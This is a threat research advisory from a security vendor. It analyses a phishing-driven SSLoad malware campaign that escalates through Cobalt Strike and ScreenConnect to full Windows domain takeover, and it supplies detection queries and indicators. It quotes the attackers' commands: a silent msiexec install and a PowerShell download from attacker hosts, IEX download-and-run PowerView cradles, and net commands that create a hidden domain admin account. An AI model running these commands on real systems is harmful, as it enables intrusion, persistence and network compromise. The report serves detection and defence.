Securonix Threat Research Security Advisory: Analysis of Ongoing FROZEN#SHADOW Attack Campaign Leveraging SSLoad Malware and RMM Software for Domain Takeover
Threat Research
By Securonix Threat Research: D. Iuzvyk, T. Peck, O. Kolesnikov
tldr:
The Securonix Threat Research team (STR) observed an interesting attack campaign which leveraged SSLoad malware and Cobalt Strike implants resulting in the attackers being able to pivot and take over the entire network domain.
SSLoad malware was the primary vector deployed by threat actors during the FROZEN#SHADOW campaign along with Cobalt Strike and ScreenConnect RMM (remote monitoring and management) software. SSLoad is designed to stealthily infiltrate systems, gather sensitive information and transmit its findings back to its operators. Once inside the system, SSLoad deploys multiple backdoors and payloads to maintain persistence and avoid detection. Not to be confused with SLoader which gained traction between 2018 and 2020, SSLoader is relatively new to the malware scene.
The malware is typically introduced into the system through phishing email campaigns. Based on gathered telemetry, victimology appears to be completely random, affecting targets in Asia, Europe and the Americas. The phishing emails contain a single link which redirects from a mmtixmm[.]org URL to a single JavaScript file which is downloaded onto the victim machine. Manually executing the single JavaScript file kicks off the code execution chain downloading and executing further stages.
After the initial infection, the Threat Research team was able to observe the attackers installing RMM software, Cobalt Strike implants and moving laterally to other systems within the domain. In the end, the attackers were able to completely compromise the victim’s Windows domain by creating their own domain admin account.
Stage 1: Initial execution: JavaScript [T1059.007]
The JavaScript file out_czlrh.js boasted some interesting obfuscation methods which were used to evade antivirus detections. As you can see in the figure below, each line of actual code was separated by massive comment blocks consisting of randomly generated words. This amounted to thousands of lines of garbage code.
The useless comments drowned out the legitimate code so much that it caused the entropy of the file to drop significantly. Since they took up so much of the total code volume, the entropy looked incredibly flat when viewed in a graph, hardly deviating from 4.478 on the Shannon entropy scale. A deviation this low would place the script into the range of a standard text file, not too different from the classic “Lorem ipsum” text which scores only 4.179.
Figure 1: JavaScript obfuscation and entropy (out_czlrh.js)
With the comments removed, the code is much easier to understand. Aside from the huge comment blocks, no other actual code obfuscation existed in the JavaScript code. To get an idea just how much of the script consisted of commented out lines, once they were stripped out, the file size was reduced from 835 KB to just 20 KB, a whopping 97.6% reduction!
Figure 2: JavaScript obfuscation cleaned and entropy (out_czlrh.js)
Removing all of the useless commented lines, the code is much more readable, allowing us to understand its intent a bit better. It performs several functions to kick start next stage payloads.
Object and variable initialization
First, out_czlrh.js starts by creating instances of ActiveXObject for WScript.Network and Scripting.FileSystemObject. For the purposes of this script, these three objects will be used to interact with network drives and the local file system.
WMI object: The portion of the script “GetObject(“winmgmts:\\\\.\\root\\cimv2”)” is used to access Windows Management Instrumentation (WMI), which in this case is used so the script can perform simple command line operations.
Variable setup: Variables are initialized to manage the number of connection attempts and the connection status to a network share.
Drive mapping and connection
The script then checks for available drive letters ranging from A to Z and tries to map a selected drive letter to a network share located at \\wireoneinternet[.]info@80\share\ using a loop moving backwards from the letter Z.
If the script fails to map the drive after more than five attempts, it falls back to a direct network use command:
Command execution via WMI: Executes the command using WMI using “net use” to try to map the network drive directly without any form of drive letter persistence.
Persistence check: After executing the command, it waits for three seconds (while in a loop) and then checks again if the drive is mapped.
Malicious payload execution
If a drive is successfully mapped, the script constructs a command to remotely install a .msi package from the mapped network drive (slack.msi) using msiexec.exe.
msiexec.exe /i \\wireoneinternet[.]info@80\share\slack.msi /qn
The /qn flag at the end of the script represents “quiet, no UI”, meaning the installation will run silently without displaying any user interface. After executing msiexec, the script then attempts to dismount the network drive.
Stage 2: MSI file execution [T1218.007]
After carefully analyzing the MSI file (slack.msi), it appears to closely resemble the BazarBackdoor. This particular backdoor often associated with the notorious TrickBot malware gang, is a sophisticated malware designed primarily to infiltrate networks and deploy further malicious payloads. It is part of a broader set of threats that typically leads to ransomware attacks, data theft, and prolonged network compromise.
After execution, we were able to observe the malware communicating with one of the following domains depending on the sample:
- wireoneinternet[.]info
- skinnyjeanso[.]com
- titnovacrion[.]top
- Maramaravilha[.]com
- globalsolutionunlimitedltd[.]com
The main SSLoad malware payload was then downloaded and executed. The payload consisted of a semi-randomly named DLL file located in \%APPDATA%\local\digistamp\mbae-api-na.dll. Once executed via Rundll32.exe, it copies itself into %APPDATA%\Custom_update\. It then executes it in the same manner. In our case the following file was downloaded and executed using the following syntax:
rundll32.exe “C:\Users\<redacted>\appdata\Roaming\Custom_update\Update_4319e68c.dll”, homi
The file is digitally signed, however with an invalid certificate. It attempts to masquerade as Malwarebytes Anti-Exploit software. The legitimate Malwarebytes DLL is named the same (as the original DLL) and is typically located in C:\Program Files\Malwarebytes\Anti-Malware\mbae-api-na.dll.
Figure 3: SSLoad DDL file details
Stage 3: Malware execution [T1218.007]
After execution using the rundll32.exe command, the malware immediately began beaconing to two preconfigured C2 servers: hxxps://skinnyjeanso[.]com/live/ and to hxxps://titnovacrion[.]top/live/. It then began collecting system and user data for both the local host as well as domain related information. We observed the malware executing the following system commands through cmd.exe:
- exe /c ipconfig /all
- exe /c systeminfo
- exe /c nltest /domain_trusts
- exe /c nltest /domain_trusts /all_trusts
- exe /c net view /all /domain
- exe /c net view /all
- exe /c net group “domain admins” /domain
- exe /c wmic.exe /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get * /format:list
- exe /c net config workstation
- exe /c wmic.exe /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get displayname | findstr /v /b /c:displayname || echo no antivirus installed
- exe /c whoami /groups
The data generated was then sent via the HTTPS connection back to the attacker’s C2 servers. About an hour later, the attackers appeared to have manually executed some new commands, probably after validating that they appeared to be on a legitimate server and not a honeypot. The following commands were executed:
- exe -c “[console]::outputencoding = [console]::inputencoding = [system.text.encoding]::getencoding(‘utf-8’); cd c:\; powershell”
- exe /groups
- exe group “domain admins” /dom
- exe /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get * /format:list
The commands sent by the attackers appear to manipulate and probe the server environment to prepare for the deployment of next-stage malicious activities. First, powershell.exe -c to set the console’s input and output encoding to UTF-8, which ensures that any data handled (including non-English characters) is correctly processed. After that, they then switched to the root of the C:\ drive and started a new PowerShell session.
Once again, further enumeration of the current system and domain were conducted manually using the whoami, net and wmic commands.
Stage 4: Cobalt Strike execution
Soon after executing manual commands on the system the attackers deployed a Cobalt Strike beacon on the system. This became the primary method of C2 communication between the attacker and the victim host machine.
The beacon file was dropped and executed manually via rundll32.exe using the following command:
Rundll32.exe C:\ProgramData\msedge.dll,MONSSMRpgaTQssmrpgatq
We observed the following network C2 communication originating from the Cobalt Strike beacon. All traffic was encrypted over port 443 (HTTPS).
| Connect URL | Hostname |
|---|---|
| hxxps://85.239.54[.]190/ws01cs03/g | bjSdg0.pintaexoticfashion.co[.]in |
| hxxps://23.159.160[.]88/ws01cs03/g | l1-03.winupdate.us[.]to |
| hxxps://23.95.209[.].148/ws01cs03/g | 23-95-209-148-host.colocrossing[.]com:443 |
The Cobalt Strike configuration also contained the default string which is widely associated with Cobalt Strike activity, which can provide for a useful network-based indicator of compromise.
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Through Cobalt Strike the attackers downloaded and installed a ScreenConnect RMM software instance. We’ll discuss the RMM connection in depth further down, however we observed the following commands executed from the Cobalt Strike instance:
- exe /c whoami /groups
- exe /c wmic /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get * /format:list
- exe /c iwr -uri “hxxps://t0talwar.screenconnect[.]com/bin/screenconnect.clientsetup.msi?e=access&y=guest&c=&c=tjx-usa.com&c=&c=dc&c=&c=&c=&c=” -outfile c:\programdata\msedgeview.msi
- exe /c systeminfo
- exe /c msiexec.exe /i C:\ProgramData\Msedgeview.msi /quiet /qn
The commands first performed some general system enumeration using the whoami command as well as gathering installed antivirus software using wmic. Next, they proceeded to download a ScreenConnect install file from hxxps://t0talwar.screenconnect[.]com. The MSI installer file was downloaded and saved as C:\ProgramData\Msedgeview.msi and executed using msiexec.
Stage 5: RMM software [T1219]
For each host that the attackers pivoted to (including the domain controller) the attackers leveraged ScreenConnect (now known as ConnectWise Control) to maintain full control on the system.
Despite its legitimate uses, like many remote administration tools (RATs), ScreenConnect can be repurposed for malicious intent. We’ve seen this several times in the past in many malicious campaigns. This level of access facilitates various malicious activities including screen sharing, data exfiltration, lateral movement and the deployment of additional malware payloads.
Lateral movement and Windows domain takeover [TA0008]
With full access to the system the threat actors began attempting to acquire credentials and gather other critical system details. At this stage they started scanning the victim host for credentials stored in files as well as other potentially sensitive documents.
To enumerate the network environment, the attackers executed Invoke-ShareFinder, Find-DomainShare and Get-DomainFileServer PowerShell commandlets. These modules are functions of PowerView and were also executed through the ScreenConnect instance. These modules assist in domain and network related information which could provide valuable intel as to how to pivot to other hosts in the system. The Threat Research team observed its usage several times executed through a single PowerShell session:
- IEX (New-Object Net.Webclient).DownloadString(‘http://127.0.0.1:16226/’); Invoke-ShareFinder -CheckShareAccess -Verbose | Out-File -Encoding ascii C:\ProgramData\shda.txt
- IEX (New-Object Net.Webclient).DownloadString(‘http://127.0.0.1:52505/’); Find-DomainShare
- IEX (New-Object Net.Webclient).DownloadString(‘http://127.0.0.1:61390/’); Get-DomainFileServer
Next, the threat actors attempted several methods of obtaining credentials. An account for a domain user was discovered and its credentials were eventually scraped by extracting them from browser credential stores.
The attackers also leveraged Cobalt Strike to extract credentials from LSASS, where they were able to obtain a domain admin account NTLM hash. This allowed them to pivot to the network’s domain controller and eventually other critical servers including an SQL server and a mail server.
While on the domain controller, the attackers created a new domain user using the following command below. The user was patterned after a standard service account format to help it blend into the weeds by using the “svc_” prefix.
cmd.exe /c net user svc_mail pass1234@ /add /domain
Next the service account was added to the domain admins group:
cmd.exe /c net group “domain admins” svc_mail /add /domain
Wrapping up
At this stage of the attack the threat actors were able to completely compromise the domain having achieved persistence through RMM software and creating a malicious domain admin account. With this level of access, they could get into any connected machine within the domain.
In the end, this is the worst case scenario for any organization as this level of persistence achieved by the attackers would be incredibly time consuming and costly to remediate. However, in the end it highlights the necessity for detailed security analytics and host telemetry to assist in preventing these types of infection chains before they become a much more serious problem.
Securonix recommendations
When it comes to successful breaches, phishing is still the #1 attack vector that threat actors are using to introduce malware and compromise internal systems. It’s critical for front line users to be aware of the existence of these threats and how to spot them. Exercise caution around unsolicited emails, especially when the email is unexpected or employs a sense of urgency. When it comes to prevention and detection, the Securonix Threat Research team recommends:
- Avoid downloading files or attachments from external sources, especially if the source was unsolicited. Common file types include zip, rar, iso, and pdf. Zip files were used during this campaign.
- Monitor common malware staging directories, especially script-related activity in world-writable directories. In the case of this campaign the threat actors staged in subdirectories in C:\ProgramData as well as the user’s %APPDATA%
- Through various phases of the FROZEN#SHADOW campaign, the threat actors leveraged encrypted channels over port 443 to evade detection. Because of this, we strongly recommend deploying robust endpoint logging capabilities. This includes leveraging additional process-level logging such as Sysmon and PowerShell logging for additional log detection coverage.
- Securonix customers can scan endpoints using the Securonix hunting queries below.
MITRE ATT&CK Matrix
| Tactics | Techniques |
|---|---|
| Command and Control | T1071.002: Application Layer Protocol: File Transfer Protocols T1102: Web Service T1219 – Remote Access Software T1573: Encrypted Channel |
| Defense Evasion | T1070.004: Indicator Removal: File Deletion T1218.007: System Binary Proxy Execution: Msiexec T1218.011: System Binary Proxy Execution: Rundll32 |
| Discovery | T1033: System Owner/User Discovery T1057: Process Discovery T1069.002: Permission Groups Discovery: Domain Groups T1082: System Information Discovery T1083: File and Directory Discovery T1518.001: Software Discovery: Security Software Discovery |
| Execution | T1047: Windows Management Instrumentation T1059: Command and Scripting Interpreter T1059.001: Command and Scripting Interpreter: PowerShell T1059.007: Command and Scripting Interpreter: JavaScript |
| Persistence | T1078.002: Valid Accounts: Domain Accounts |
Relevant provisional Securonix detections
- EDR-ALL-159-RU
- EDR-ALL-185-ER
- EDR-ALL-1171-ERR
- WEL-ALL-1179-RU,EDR-ALL-1205-RU
- EDR-ALL-1206-RU,WEL-ALL-1189-RU
- EDR-ALL-1275-ERR
- PSH-ALL-120-RU,EDR-ALL-1153-RU
- PSH-ALL-233-RU
Relevant hunting queries
(remove square brackets “[ ]” for IP addresses or URLs)
- index = activity AND rg_functionality=”Next Generation Firewall” AND (requesturl CONTAINS “winarkamaps[.]com” OR requesturl CONTAINS “stratimasesstr[.]com” OR requesturl CONTAINS “danteshpk[.]com” OR requesturl CONTAINS “sokingscrosshotel[.]com” OR requesturl CONTAINS “kasnackamarch[.]info” OR requesturl CONTAINS “simplyfitphilly[.]com” OR requesturl CONTAINS “skinnyjeanso[.]com” OR requesturl CONTAINS “titnovacrion[.]top” OR requesturl CONTAINS “wireoneinternet[.]info” OR requesturl CONTAINS “t0talwar.screenconnect[.]com” OR requesturl CONTAINS “maramaravilha[.]com” OR requesturl CONTAINS “globalsolutionunlimitedltd[.]com” OR requesturl CONTAINS “maramaravilha[.]com” OR requesturl CONTAINS “krd6[.]com”)
- index = activity AND rg_functionality = “Web Proxy” AND (destinationaddress = “85.239.54[.]190” OR destinationaddress = “23.159.160[.]88” OR destinationaddress = “23.95.209[.]148” OR destinationaddress = “45.95.11[.]134”)
- index = activity AND rg_functionality = “Microsoft Windows Powershell” AND message CONTAINS “Net.Webclient” AND message CONTAINS “http://127.0.0.1:” AND message CONTAINS “Out-File” AND message CONTAINS “IEX”
- index = activity AND rg_functionality = “Endpoint Management Systems” AND (deviceaction = “Process Create” OR deviceaction = “Process Create (rule: ProcessCreate)” OR deviceaction = “ProcessRollup2” OR deviceaction = “Procstart” OR deviceaction = “Process” OR deviceaction = “Trace Executed Process”) AND resourcecustomfield1 CONTAINS “\Appdata\Roaming\Custom_update\” AND resourcecustomfield1 CONTAINS “\Appdata\Local\digistamp\”
C2 and infrastructure
| C2 Address |
|---|
| 85.239.54[.]190 |
| 23.159.160[.]88 |
| 23.95.209[.]148 |
| 45.95.11[.]134 |
| bjSdg0.pintaexoticfashion.co[.]in |
| l1-03.winupdate.us[.]to |
| 23-95-209-148-host.colocrossing[.]com:443 |
| mmtixmm[.]org |
| wireoneinternet[.]info |
| skinnyjeanso[.]com |
| titnovacrion[.]top |
| simplyfitphilly[.]com |
| kasnackamarch[.]info |
| sokingscrosshotel[.]com |
| danteshpk[.]com |
| stratimasesstr[.]com |
| winarkamaps[.]com |
| globalsolutionunlimitedltd[.]com |
| maramaravilha[.]com |
| krd6[.]com |
| hxxps://t0talwar.screenconnect[.]com |
Analyzed files/hashes
| File Name | SHA256 |
|---|---|
| out_czlrh.js | DB265EA1732935F61E8D0F7A20A8ADC54E20AF71B3CF4A737714CD3377C838F6 |
| out_bdrts.js | FAD25892E5179A346CDBDBBA1E40F53BD6366806D32B57FA4D7946EBE9AE8621 |
| Letter_c89_00c568610-93e92634a4425-2643w5.js | F8FC9B40B946B742D6044F291914439727E1A7F53EA87562446F682B26CCE65A |
| Letter_p64_18t678677-53r17785m9284-51810.js | E8979741F0355A47DAE575EAD8C829DF47F282B4533EC1BE4D63086515F9C449 |
| Letter_h85_79o750478-05f74851h3126-2101c9.js | 08E82F1C0A033AB295B4D342C53970E4528E20933C614BDA3BBC5D57BAB20651 |
| Letter_e97_58z949277-25h33503u6712-8630h9.js | 4F52B4A2A781F366ED534D8C4B2FAFEF48A7848C4C20B4229B98747CA8AB06D3 |
| Letter_n95_52a858194-29r719420963-6497k0.js | 68E1CAF530366B1890993185157C01161B3D625063D75A41C88D2D1BB8EDFE02 |
| Letter_n54_61h288642-67072023a7462-0068w3.js | 6D7A94B7551F15732E193A07357375B98B463F0DCE6B1FED871A42FCBDDE9F48 |
| Letter_w54_49a010638-34d3814907559-826708.js | 2B026343214C3D2C10FDFA9B04B7694E57EE8D3605FBF9A2E127FE6FA9A58309 |
| Letter_a51_80q687203-83q18993e4985-2463m8.js | 96212917B7B0DC881332DB7ECE0BACFE21D9AC713AF1ABE078F6D3E74BAACD01 |
| Letter_k40_07w820587-40d85841n3311-9847w6.js | BA3FA920708DB856737A66F70E2C7E86BBA73C73836F7F30C2CE42CD70D0C5BD |
| Letter_w45_72u406742-64b48323u0125-6834a8.js | 7DBEBB7C76511FC063B5ACE0A9359B655F66A55A494200B8FD11905C78B5FB90 |
| Letter_c41_84a683017-72b44707a1598-464809.js | 6E892AA13CBD4B71A1C476207ABDDB1EF830BE04999809B4EF569488A37E47E0 |
| Letter_d94_87w030300-54q44583y8818-2571b1.js | 7DFF08656413A737483ECEE2A50E412338EBFEE3D36A1A5C04E74B25949B2306 |
| Letter_n42_88u446059-37f35802c4925-3726c4.js | 75DB4709428310C76656BF76F5DE267AB490E43284312B374BAF7582108300A9 |
| Letter_q50_63b944998-11n0283407179-6803z4.js | C172ABD808CC6216B309BC307FE69B821C7EAED35F874FD4684AB33B4291F95A |
| Letter_u79_20w517865-65u0451500340-7186n6.js | 5FB093A9348FCF4A81BEFDA978C948796A8319FCABE7899C2CF5BA1419EC9D35 |
| Doc_k33_80c092144-18b83503a0451-2328f3.js | 9FC48724CB9F70F774F7ED9E809E49979BD089DFD641896D8D5E3026F049B0AF |
| Doc_d43_77n194090-93d18260r9745-8376n8.js | C122596E25A4DAD1D46D4AB983F4EF15BFA7B65582B7C311F404036766498105 |
| Doc_i93_65b929565-14q83944h2246-4336m9.js | E8E76B851FC78D87FE58AD7D29BC6356A8965236D1B96C5F572334DD695D5DE9 |
| Doc_f98_58y658432-41b75184w6866-3921d1.js | 791C28D4201E8B9EA5162FBEE3908FEB34793B1C51F5AAEDC43916E86068248D |
| Doc_q80_66b246938-8806024o9126-5008b9.js | CAF8295570E8A8244C7099A8EABFD1BD55EA50F026B4461E9F0F5425D54703E8 |
| Doc_m42_81h118103-88o62135w8623-1999q9.js | 092962BC268390DEBF17CD148D03147CDF919E442E61C92DE01EAC3BDB34B1C1 |
| Doc_q35_64r067638-76a88713i3606-7493z7.js | 24CB279EEBCD49E1327905AB2BD19B9B2E09EFA3E0A5E1875F3989C398A5DA81 |
| Letter_a53_97o318845-76f99823h9630-6740o2.js | 8F7A90B540F38712C9C1A5359C6333BBE1091102D6F621B22321E08352C84CFC |
| Letter_d94_87w030300-54q44583y8818-2571b1.js | 7DFF08656413A737483ECEE2A50E412338EBFEE3D36A1A5C04E74B25949B2306 |
| Letter_e79_76r514120-22p50913h4206-6851k8.js | 0737FA0B403FAB17331C9835497A4F3B2955543E2FAC85009DCC66DF41A015F8 |
| Letter_h21_36b948317-03a99748y3026-8660b8.js | 2118C5B95D5D57492B2E8B8C0403E23B21ACC4FF50282F8B6007BA89ADFAA992 |
| Letter_d19_97q517001-52z26072a2831-7463c5.js | A557F891F4D50E458D745C7EAF7D0BE3ECEEA36F0398097E977CD3F6EC463875 |
| Letter_t47_39u197519-27b72941k6563-0250a2.js | 4D9274CFE7A2BD9A125352271D1634708E1F9B1D70B056D1C1950CB98B8F91FF |
| Letter_z27_59o257127-14z25707d6443-0555c6.js | 3584CA9C1E7E0A38E47F59BB16C21203A60833D0F826294D535A98E7CA76D9C1 |
| Letter_b42_17m561933-22h44391r3880-8554u2.js | 63283E012F067A3FFB27ED4FE6803F740C80F6F65213FE5507F0CD1EE0019B96 |
| Letter_t48_42a243569-81n19660f9965-6999u0.js | 828EF3E4CA064891836913015C48AC9807ECD43B32F6E7E4BFF29B9FD2E218C9 |
| Letter_o40_58g357086-56q83656a4371-9752z1.js | 780B970DAD15835D138546BE9B615FC1B4124C1060A8EFD91B9C52F9C3160D5B |
| 09E7F7428E6ECC68EF036C0751F53985882F6760CF3892F1D26AF44F3B9730DE | |
| msedgeview.msi | 232F8F8DC9E5B9723C43C78CB942CC810EF56E305E4BD650110A484334F568A8 |
| 950b84.msi | F5BF914415FAF7587958BBDC3312536FD9ABEA647F1541D44D2E757F0E683650 |
| 6838aa.msi | 08075E8A6DCC6A5FCA089348EDBD5FC07B2B0B26A26A46E0DD401121FDAA88D3 |
| 4178fc.msi | FF5E40FC794E56FD78FEB6EB6B30794970F7CDB4A767C4095E2D20A90BB0EFE8 |
| slack.msi | B9DBE9649C761B0EEE38419AC39DCD7E90486EE34CD0EB56ADDE6B2F645F2960 |
| qual.msi | EE1E5B80A1D3D47C7703EA2B6B64EE96283AB3628EE4FA1FEF6D35D1D9051E9F |
| avp.msi | DCAE57EC4B69236146F744C143C42CC8BDAC9DA6E991904E6DBF67EC1179286A |
| msedge.dll | 7018C43EE38190EAE122797869865FD808817F31D766575B43B118AE176C0C68 |
| Update_c7e5e126.dll | FC21A125287C3539E11408587BCAA6F3B54784D9D458FACBC54994F05D7EF1B0 |
| Update_2ffaca76.dll | 65DA6D9F781FF5FC2865B8850CFA64993B36F00151387FDCE25859781C1EB711 |
| Update_8d74674.dll | 805B59E48AF90504024F70124D850870A69B822B8E34D1EE551353C42A338BF7 |
| Update_17a3b1e7.dll | 7206EAFC475F246E7C9C258AFDAAA64B5193C1C7427D927BE417E53DEC890078 |
| mbae-api-na.dll | 9856B816A9D14D3B7DB32F30B07624E4BCDA7F1E265A7BB7A3E3476BFD54A759 0EDE3CBE821E4F083FC119274F069C77E64A6A7E8A2C16530317B826A0939979 17DDC339B14845BC9D67C5C3CD9A0E617387CC0569131FF3641035D82043EFFA 18D60C9C807DA021BC2C31E3BA7EC2737865A8C96060134CAA3CF033E43E26FE AE610EB8F8622653B9BE9692A7D2A680B0C2154022704CA58AF0EAEED0066D03 7F97ADFF1D298CCF1F3C7991FCB01008DDA22722EBBC11AF48FCBF2ADB58AFB4 |
| forcedelctl.dll | 3BCA1DCAEF4430272B9029C9A4BC8BE0D45ECFF66E8DE8679ED30D8AFAB00F6F |
References:
- Elegant sLoad Carries Out Spying, Payload Delivery in BITS
https://threatpost.com/sload-spying-payload-delivery-bits/151120/ - Github:Unit42-timely-threat-intel /2024-04-15-IOC-for-Contact-Forms-campaign-SSLoad-activity.txt
https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2024-04-15-IOC-for-Contact-Forms-campaign-SSLoad-activity.txt - Github: Malware-IOCs/2024-04-17 SSLoad https://github.com/executemalware/Malware-IOCs/blob/main/2024-04-17%20SSLoad%20IOCs
- Github: xx0hcd/Malleable-C2-Profiles
https://github.com/xx0hcd/Malleable-C2-Profiles/blob/master/template.profile - Securonix Threat Research Knowledge Sharing Series: On Detection of Real-world Attacks Involving RMM Behaviors Using Securonix
https://www.securonix.com/blog/securonix-threat-research-knowledge-sharing-series-detecting-rmm-behaviors/ - Hundreds of orgs targeted with emails aimed at stealing NTLM authentication hashes
https://www.helpnetsecurity.com/2024/03/05/steals-ntlm-hashes-email/
Securonix 2024. All Rights Reserved Legal Center | Privacy Policy
